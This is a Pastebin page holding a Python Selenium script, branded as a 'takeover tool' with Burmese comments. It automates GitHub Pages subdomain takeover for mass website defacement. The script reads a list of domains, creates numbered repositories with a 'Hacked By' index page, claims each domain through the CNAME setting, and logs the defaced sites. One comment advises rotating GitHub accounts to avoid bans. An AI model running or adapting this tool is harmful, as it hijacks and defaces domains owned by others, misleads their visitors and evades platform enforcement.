Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- #!/usr/bin/env python
- # -*- coding: utf-8 -*-
- import time
- import os
- import sys
- from pyvirtualdisplay import Display
- from selenium import webdriver
- from time import sleep
- from selenium.webdriver.common.by import By
- from selenium.common.exceptions import NoSuchElementException
- ###################################################################
- # Logo
- print '''\n
- ______ __ __ ______
- /\ ___\ /\ \_\ \ /\__ _\
- \ \ \__ \ \ \ __ \ \/_/\ \/
- \ \_____\ \ \_\ \_\ \ \_\
- \/_____/ \/_/\/_/ \/_/
- J0k3r J3rry { GHT } - takeover tool
- '''
- ### https://github.com/MrMinYan/ ဆိုတဲ့ ေနရာမွာ ကိုယ့္ github acc link ထည့္ပါ
- try:
- import dill as cPickle
- except ImportError:
- import pickle
- driver = webdriver.Firefox()
- sites = "sites.txt" # domain ေတြ စုထည့္ထားတဲ့ file name ျပင္ပါ။
- defacecode = '<center>Hacked By J0k3r J3rry' # ကိုယ့္ရဲ့ deface code အစားထည့္ပါ
- try:
- driver.get('http://github.com/login')
- exists = os.path.isfile('cookies.pkl')
- if exists:
- cookies = pickle.load(open("cookies.pkl", "rb"))
- for cookie in cookies:
- driver.add_cookie(cookie)
- else:
- print "cookies not exits"
- reponame = 1000 # reponame ကို 1000 ေပးျပီး တစ္ခုခ်င္းစီကို +1 တိုးတိုးေပးသြားတာပါ။တစ္ခုရွိတာက github acc ေတြ ဘမ္းခံရနိုင္ပါတယ္ / reponame 1100 ျပည့္တိုင္း github acc change ပါ
- def addnewrepo():
- driver.get('https://github.com/new')
- time.sleep(1)
- repoadd = driver.find_element_by_id("repository_name").send_keys(reponame)
- initclick = driver.find_element_by_id("repository_auto_init").click()
- buttonclick = driver.find_element_by_css_selector(".btn.btn-primary.first-in-line")
- time.sleep(2)
- buttonclick.click()
- time.sleep(2)
- def addindexfile():
- #driver.get('https://github.com/MrMinYan/'+str(reponame))
- #buttonnewfileclick = driver.find_element_by_css_selector(".btn.btn-sm.BtnGroup-item")
- time.sleep(2)
- #buttonnewfileclick.click()
- driver.get('https://github.com/MrMinYan/'+str(reponame)+'/new/master')
- newfilename = driver.find_element_by_name("filename").send_keys("index.html")
- filetext = driver.find_element_by_class_name('CodeMirror-code').send_keys(defacecode)
- newfile = driver.find_element_by_id("submit-file").click()
- time.sleep(1)
- def settingdef():
- driver.get('https://github.com/MrMinYan/'+str(reponame)+'/settings')
- time.sleep(1)
- driver.find_element_by_class_name('pr-1').click()
- time.sleep(1)
- selectmenu = driver.find_element_by_xpath("//button[@type='submit' and @value='master']").click()
- def checkcnmfile():
- driver.get('https://github.com/MrMinYan/'+str(reponame)+'/edit/master/CNAME')
- driver.find_element_by_class_name('CodeMirror-code').clear()
- time.sleep(2)
- driver.find_element_by_class_name('CodeMirror-code').send_keys(domain)
- time.sleep(1)
- newfile = driver.find_element_by_id("submit-file").click()
- time.sleep(1)
- driver.get('https://github.com/MrMinYan/'+str(reponame)+'/blob/master/CNAME')
- def checkcnm():
- global reponame
- driver.get('https://github.com/MrMinYan/'+str(reponame)+'/settings')
- time.sleep(1)
- driver.find_element_by_name("cname").send_keys(domain)
- time.sleep(1)
- driver.find_element_by_css_selector(".btn.js-pages-cname-save-btn").click()
- time.sleep(1)
- errortext = driver.find_element_by_id('js-flash-container')
- errortext = errortext.text
- #print errortext
- if "saved." not in errortext:
- print "not success - "+domain
- else:
- checkcnmfile()
- print "defaced - "+domain
- fsuccess= open("success.txt","a+") #save မဲ့ filename change ပါ
- fsuccess.write( str(reponame) + domain + " : " )
- fsuccess.close()
- reponame = reponame + 1
- print reponame
- addnewrepo()
- time.sleep(1)
- addindexfile()
- settingdef()
- #checkcnm()
- raw_input("Login and continue....")
- addnewrepo()
- time.sleep(1)
- addindexfile()
- settingdef()
- with open( sites , 'r') as f:
- for domain in f:
- checkcnm()
- pickle.dump( driver.get_cookies() , open("cookies.pkl","wb"))
- driver.quit()
- except KeyboardInterrupt:
- print '\r[!] Good Bye J3rry'
- pickle.dump( driver.get_cookies() , open("cookies.pkl","wb"))
- driver.quit()
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement